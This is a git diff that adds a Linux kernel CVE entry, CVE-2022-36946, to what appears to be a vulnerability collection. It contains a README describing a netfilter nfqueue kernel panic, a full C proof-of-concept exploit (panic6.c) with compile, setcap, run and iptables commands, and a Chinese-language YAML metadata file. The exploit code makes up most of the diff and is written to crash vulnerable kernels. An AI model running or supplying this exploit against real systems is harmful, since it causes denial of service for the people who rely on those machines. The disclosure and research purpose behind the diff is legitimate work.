diff --git a/cve/linux-kernel/2022/CVE-2022-36946/README.md b/cve/linux-kernel/2022/CVE-2022-36946/README.md new file mode 100644 index 0000000000000000000000000000000000000000..9bb679ab056eedb651ce8244d9ac754f0c5d786f --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-36946/README.md @@ -0,0 +1,39 @@ +# CVE-2022-36946 + +Reported-by: Domingo Dirutigliano and Nicola Guerrera + +While we were working on [firegex](https://github.com/Pwnzer0tt1/firegex), our application firewall for CTF Attack-Defence competitions, we stumbled upon a few kernel panics. + +This strange behavour was than isolated and anlayzed, leading to the dicovery of this potential security flaw in the netfilter module, specifically with nfnetlink. + +# How does it work? + +The kernel panics when sending nf\_queue verdict with 0-byte nfta\_payload attribute. + +``` +nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num); +nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0); +nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT ); +``` + +This happens because the IP/IPv6 stack pulls the IP(v6) header from the packet after the input hook. + +So, if user truncates the packet below the header size, this skb\_pull() will result in a malformed skb resulting in a panic. + +Try it executing [this](/panic6.c) c source code. + +# Fix up + +Fixed in linux kernel 5.19 [view diff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/netfilter/nfnetlink_queue.c?id=v5.19&id2=v5.18) + +Original patch by the linux kernel security team [here](https://marc.info/?l=netfilter-devel&m=165883202007292&w=2) + +# Requirements for exploiting this vuln: + +- A vulnerable linux kernel +- CAP\_NET\_ADMIN capability + + +# Why panic6? + +It worked at the 6th attempt, so we kept the name. diff --git a/cve/linux-kernel/2022/CVE-2022-36946/panic6.c b/cve/linux-kernel/2022/CVE-2022-36946/panic6.c new file mode 100644 index 0000000000000000000000000000000000000000..754d840909cf0b4223260158a34451f13024e16e --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-36946/panic6.c @@ -0,0 +1,104 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +//How to compile: +//cc panic6.c -o nfpanic -lmnl -lnetfilter_queue && sudo setcap "CAP_NET_ADMIN+ep" ./nfpanic && ./nfpanic + +int socket_conn(uint16_t port) +{ + int sockfd, connfd; + struct sockaddr_in servaddr, cli; + + // socket create and verification + sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); + if (sockfd == -1) { + perror("socket creation failed"); + exit(EXIT_FAILURE); + } + bzero(&servaddr, sizeof(servaddr)); + + // assign IP, PORT + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + servaddr.sin_port = htons(port); + + // connect the client socket to server socket + connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)); +} + +int main(int argc, char *argv[]) +{ + size_t BUF_SIZE = 0xffff+(MNL_SOCKET_BUFFER_SIZE/2); + char buf[BUF_SIZE]; + uint16_t queue_num = 1337; + struct nlmsghdr *nlh; + + puts("[*] Creating the socket with the kernel"); + struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + perror( "mnl_socket_open" ); + exit(EXIT_FAILURE); + } + puts("[*] Binding the socket"); + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror( "mnl_socket_bind" ); + exit(EXIT_FAILURE); + } + + printf("[*] Sending the BIND command for the nfqueue %d\n",queue_num); + nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num); + nfq_nlmsg_cfg_put_cmd(nlh, AF_INET, NFQNL_CFG_CMD_BIND); + if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { + perror( "mnl_socket_send" ); + exit(EXIT_FAILURE); + } + + puts("[*] Setting config to COPY_META mode"); + nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num); + nfq_nlmsg_cfg_put_params(nlh, NFQNL_COPY_META, 0xffff); + mnl_attr_put_u32(nlh, NFQA_CFG_FLAGS, htonl(NFQA_CFG_F_GSO)); + mnl_attr_put_u32(nlh, NFQA_CFG_MASK, htonl(NFQA_CFG_F_GSO)); + if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { + perror( "mnl_socket_send" ); + exit(EXIT_FAILURE); + } + + printf("[*] You need to associate to this queue the port 1337: sudo iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num); + puts("Press ENTER to contiune (and panic)"); + getchar(); + + puts("[*] Sending a connection packet to nfqueue"); + socket_conn(1337); + + + puts("[*] Waiting for a packet in the nfqueue"); + if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1) { + perror( "mnl_socket_recvfrom" ); + exit(EXIT_FAILURE); + } + + puts("[*] Sending the verdict with a NULL pointer and len = 0"); + nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num); + nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0); + nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT ); + + puts("[*] Sending the verdict to the kernel, Good panic :D"); + sleep(1); //Only to see the print + if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { + perror( "mnl_socket_send" ); + exit(EXIT_FAILURE); + } + puts("[*] Are you still alive?"); + +} + + diff --git a/cve/linux-kernel/2022/yaml/ CVE-2022-36946.yaml b/cve/linux-kernel/2022/yaml/ CVE-2022-36946.yaml new file mode 100644 index 0000000000000000000000000000000000000000..eb773fd638c81bc9ea9f9193d64d4af14cafef48 --- /dev/null +++ b/cve/linux-kernel/2022/yaml/ CVE-2022-36946.yaml @@ -0,0 +1,18 @@ +id: CVE-2022-36946 +source: https://github.com/Pwnzer0tt1/CVE-2022-36946 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: 高危 + description: | + Linux5.18.14 内核中 net/netfilter/nfnetlink_queue.c 的nfqnl_mangle允许远程攻击者造成拒绝服务 (panic),因为在具有单字节nfta_payload属性的nf_queue判定的情况下,skb_pull可能会遇到负的 skb->len。 + scope-of-influence: + 5.18.14 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-36946 + - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=722d94847de29310e8aa03fcbdb41fc92c521756 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36946 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + cve-id: CVE-2022-36946 + tags: 拒绝服务,cve2022 \ No newline at end of file